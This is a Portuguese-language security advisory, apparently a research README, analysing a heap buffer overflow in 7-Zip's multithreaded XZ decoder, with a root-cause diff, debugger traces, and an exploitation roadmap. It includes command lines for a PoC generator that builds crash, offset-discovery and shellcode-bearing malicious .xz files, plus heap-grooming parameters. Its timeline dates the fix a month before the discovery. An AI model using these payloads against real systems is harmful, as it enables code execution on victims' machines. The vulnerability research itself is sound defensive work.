
7-Zip XZ Decoder Heap Buffer Overflow - Análise completa, causa raiz, PoC e roteiro de exploração de RCE
Severidade Crítica | CVSS: 8.8 (Alta) | CWE-122: Estouro de Buffer Baseado em Heap
Afetados: 7-Zip ≤ 26.01 | Corrigido: 7-Zip 26.02 (2026-06-25)
Descoberto e Analisado por: Li Yuxuan (liyuxuan504-byte) e equipe
Existe um estouro de buffer na heap no caminho de decodificação XZ multithread do 7-Zip versões ≤ 26.01. Um arquivo .xz criado de forma maliciosa pode acionar uma escrita fora dos limites além do buffer de saída alocado na heap, levando a:
STATUS_ACCESS_VIOLATION (0xC0000005)A vulnerabilidade reside em MixCoder_Code() em C/XzDec.c, onde o ramo SingleBuf (outBuf) passa um destLen2 não verificado ao decodificador LZMA2 sem limitá-lo contra a capacidade restante do buffer (outBufSize - outWritten).
Qualquer sistema ou aplicação que use um 7-Zip vulnerável (ou 7z.dll) para extrair arquivos .xz não confiáveis está em risco — o caminho multithread é habilitado por padrão em sistemas multi-core.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
Vulnerável (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
Corrigido (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
A correção tem 3 linhas. Ela subtrai p->outWritten (bytes já gravados neste outBuf) de destLen2 antes de passá-lo ao decodificador LZMA2, garantindo que o decodificador nunca possa gravar além do buffer alocado.
No caminho single-thread, XzUnpacker_Code aplica seu próprio limite rem baseado em unpackSize antes de chamar MixCoder_Code. Esse limite restringe corretamente a saída. O caminho SingleBuf multithread ignora esse limite, pois passa destLenOrig diretamente — o limite a montante é ineficaz quando destLen é pré-definido para o tamanho total restante da entrada, em vez da capacidade real restante do buffer.
O outBuf é alocado na heap da CRT via ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | Alocador | Explorabilidade |
|---|
A abordagem de exploração mais promissora:
unpackSize pequeno (256–16384 bytes) para acionar a alocação no LFHnext da lista livre (free-list) do LFH → obtém primitiva de alocação arbitrária| Capacidade | Status |
|---|
Depuradores convencionais (x64dbg, WinDbg) alteram o comportamento de criação de processos. Sob um depurador, 7z.dll pode nunca carregar o caminho XZ multithread — o processo silenciosamente volta ao modo single-thread, onde a vulnerabilidade não é acionada. A abordagem necessária foi:
tools/)poc/poc-cve-2026-14266-rce.py é um gerador de exploits XZ completo:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
Testado em: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00
Insight principal: Todas as alocações na faixa de LFH (≤16 KB) produzem estouros silenciosos — os dados do payload são gravados em objetos adjacentes da heap sem um crash imediato. Este é o pré-requisito para a exploração de RCE.
De uma sessão ao vivo do x64dbg (7-Zip 26.00, caminho MT):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multi-threaded decode entry)
← ntdll.dll+0x1D141 (thread start)
C/XzDec.c)7z x -mmt=1 <file.xz>0xC0000005 durante a extração0xC0000374)unpackSize declarado├── README.md ← This report
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC generator (cyclic/shellcode/raw)
├── tools/
│ ├── 04-heap-analyze.ps1 ← x64dbg MCP automation for heap layout
│ ├── 05-mini-debugger.ps1 ← C# Win32 debug API mini-debugger
│ └── 06-guard-dump.ps1 ← Guard-page heap dumper (LFH analysis)
└── docs/
├── 01-crash-point-analysis.md ← Live crash trace (x64dbg)
├── 02-vulnerability-root-cause.md ← Full root cause analysis
└── 03-rce-exploit-plan.md ← RCE exploitation strategy
Este relatório destina-se exclusivamente a fins educacionais e de pesquisa defensiva em segurança. O código PoC é fornecido para ajudar pesquisadores de segurança e defensores a entender a vulnerabilidade e desenvolver capacidades de detecção. Não use este código contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
| ≤ 16 KB | LFH (Heap de Baixa Fragmentação) | ★ Melhor para RCE — objetos adjacentes no mesmo bucket |
| 16–64 KB | Heap de Segmentos (Backend) | Possível — corrupção da lista livre (free-list) |
| ≥ 64 KB | VirtualAlloc (alinhado à página) | Apenas DoS — a página de guarda intercepta o estouro |
| DoS (crash) | ✅ Confirmado, confiável no 7-Zip 26.00 x64 |
| Estouro de heap silencioso (LFH) | ✅ Confirmado — grava além do buffer, código de saída 2, sem crash |
| Entrega controlada de payload | ✅ Totalmente controlável via dados do copy-chunk LZMA2 |
| Primitivas de layout da heap | ✅ Conceito comprovado — requer ajuste de layout específico do alvo |
| Cadeia completa de RCE | ❌ Em andamento — requer análise de layout da heap no alvo |
| Parâmetro | Descrição | Recomendado |
|---|
--unpack-size | unpackSize declarado do bloco (= tamanho da alocação do outBuf) | 256–4096 para RCE via LFH |
--overflow | Total de bytes para gravar além do outBuf | 4096–32768 |
--chunk-size | Tamanho dos dados do copy-chunk LZMA2 (1–65535) | NÃO deve dividir o unpackSize de forma exata! Use um primo (97) ou --force-align-overflow |
--payload-cyclic | Padrão cíclico para descoberta de offset | Use primeiro e depois substitua pelo payload real |
--payload-shellcode | Incorpora shellcode Win x64 WinExec("calc.exe") | ~276 bytes |
unpackSize | chunk_size | Estouro | Resultado |
|---|
| 256 KB (0x40000) | 4096 (alinhado) | ~32 KB | 0xC0000005 — Violação de Acesso (página de guarda) |
| 256 KB | 3 (DoS original) | ~30 KB | 0xC0000005 — Violação de Acesso |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — Corrupção de Heap detectada |
| 256 B | 97 | ~1 KB | Código de saída 2 — Estouro silencioso! |
| 4 KB | 97 | ~16 KB | Código de saída 2 — Estouro silencioso! |
| 16 KB | 97 | ~32 KB | Código de saída 2 — Estouro silencioso! |
| Data | Evento |
|---|
| 2026-07-24 | Vulnerabilidade descoberta e confirmada no 7-Zip 26.00 |
| 2026-07-24 | PoC de crash desenvolvido; depuração ao vivo confirma o estouro de heap |
| 2026-07-24 | Causa raiz identificada: ausência de destLen2 -= outWritten em MixCoder_Code |
| 2026-07-24 | Gerador de PoC de RCE desenvolvido com estratégia de exploração de LFH |
| 2026-07-25 | Relatório completo de análise publicado |
| 2026-06-25 | 7-Zip 26.02 lançado com a correção |